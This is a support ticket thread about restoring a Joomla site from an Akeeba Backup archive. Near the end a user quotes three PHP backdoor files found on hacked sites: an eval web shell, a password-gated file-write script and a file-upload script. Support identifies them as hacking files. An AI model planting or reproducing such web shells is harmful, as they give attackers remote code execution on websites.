Support

EXTREMELY IMPORTANT: Please attach a ZIP file containing your Akeeba Backup log file in order for us to help you with any backup or restoration issue. If the file is over 2Mb, please upload it on your server and post a link to it.

Description of my issue:
My web host liquidnet restored a joomla 2.5 database over the top of a joomla 3.5 database connected to a joomla 3.5 site. Luckily after I migrated fromjoomla 2.5 I made a backup using the free version of akeeba backup.

But.. during extraction I get this error message.

AN ERROR OCCURRED
AJAX Loading Error
HTTP Status: 0 (error)
Internal status: error
XHR ReadyState: 0
Raw server response:

I don't know where to find the log file

What kind of archive are you trying to extract jpa or zip? How are you extracting the archive, with Kickstart?

That is an unusual error to get during extraction. All Kickstart does is extract the archive then it hands over control of the process to the restore script. The restore script gathers information about your database connection and site, then restores the database and updates the configuration.php file. It is important to know what the restore is trying to do when the error occurs.

It is a jpa file. I'm using kickstart professional 4.1.2 to extract the file.
I noticed that some of the files being extracted are no-joomla files from sub directories, so might be a particularly large file.

I have been able to extract the files on my computer using akeeba extract wizard, but I can't get to the end of the extract process online.

What can I do?

You can just transfer the files from your local computer to your server via FTP. That is the way we did it in the olden days before Kickstart. The restore script and database dump are in the /installation folder.

Actually, if you do not need to restore the files, all you really need is the /installation folder. After you have uploaded the /installation folder, when you visit the front page of your site you will be redirected to the restore script. Or to call it directly, www.mysite.com/installation/index.php.

After you get your site back on line we need to figure out why you have more than your site in your backup. Yes, a particularly large file could cause that error.

Thanks Dale, I'm uploading the files via binary FTP now, but it's very slow.
Is there a way around that error? It does nearly 90 percent of the extraction and then fails.

I think there are other sites in the backup because when liquidnet helped me migrate from godaddy they bundled everything together. I can't wait to get a new host.

Ouch! "Binary mode" - thank you, I missed that little detail.

You can create a zip of just the files on your local computer that you need to restore your site (including the /installation folder) and FTP that up and use Kickstart to extract it. That would exclude the extra files that your backup archive has in it.

Hi,

I have uploaded all files via FTP in binary mode. When I go to installation/index.php I get this error message:

Exception — Layout main/default not found

#0 /home/www/sitename/installation/framework/view/view.php(583): AView->loadAnyTemplate('main/default')
#1 /home/www/sitename/installation/framework/view/view.php(532): AView->loadTemplate(NULL)
#2 /home/www/sitename/installation/framework/controller/controller.php(565): AView->display()
#3 /home/www/sitename/installation/framework/controller/controller.php(570): AController->display()
#4 /home/www/sitename/installation/framework/controller/controller.php(527): AController->main()
#5 /home/www/sitename/installation/framework/dispatcher/dispatcher.php(238): AController->execute('default')
#6 /home/www/sitename/installation/framework/application/application.php(121): ADispatcher->dispatch()
#7 /home/www/sitename/installation/index.php(50): AApplication->dispatch()
#8 {main}

I know what the problem is, I'll be back to you shortly.

The contents of the /installation folder are damaged or missing. The attached file is a clean /installation folder. Please extract this on your local computer and upload it via FTP in binary mode, overwriting the existing files.

Note that you will have an /installation/sql folder on your site that is not included in this zip file. You need the /sql folder that you have, that contains your database dump.

When you have uploaded these files you can continue with your restore.

https://dl.dropboxusercontent.com/u/6301345/installation443.zip

OK, it's nice to know the security works.

Thanks for your help on this Dale. That worked and I have installed the backup, although it was also a joomla 2.2.8 database - at least I was able to connect it to a joomla 2.2.8 site and then upgrade it to joomla 3.4.5.

If it helps, I think I somehow accessed the directory/installation folder with the browser although I do not think it was executed.

I'll definitely be changing web hosts now. Definitely can't let that sort of error happen again.

If you still have those folders in your site that are part of other Joomla! installations, then we're not finished.

You need to exclude anything that should not be a part of your backup under Exclude Files and Folders. That will make your next restore a much smoother process. The same applies to database tables, if you have tables that are not used by your site, they need to be excluded as well.

You can back up multiple sites pretty easily but restoring them is a nightmare. Have a good weekend!

Hi,

I'm just cleaning up a lot of old files that were in that directory. Several of my sites were hacked a few days ago (I suspect it was the web hosting company being malicious).

There are some files that I am not sure what they are in the folder. I just wondered if they are remnants of kickstart?

there is a file called 05797971.php and another with a similar name which contains this
<?php @eval($_POST['g369g']);?>

Also a file called update_vzp.php which contains this

<? echo 1337; @extract ($_REQUEST); if (md5($p)=="127852695589780c2b70127f17e7ffbf") file_put_contents($c,$b);?>

upload_pug.php contains

<? $b='move_uploaded_file'; $b($_FILES['ufile']['tmp_name'], $_POST['fname']); ?>


Any idea what these files are?
What is safe to delete?

Also should angie be deleted afterwards?

Those are hacking files. They should be deleted. The 3.4.5 version that you are on is vulnerable and is being actively exploited. You need to upgrade to Joomla! 3.4.8, released last Thursday, as soon as possible. You can find more information here: https://www.joomla.org/announcements/release-news/5643-joomla-3-4-7.html. The 3.4.7 release fixed the security problem but introduced some new problems, hence the update to 3.4.8.

This ticket has been automatically closed. All tickets which have been inactive for a long time are automatically closed. If you believe that this ticket was closed in error, please contact us.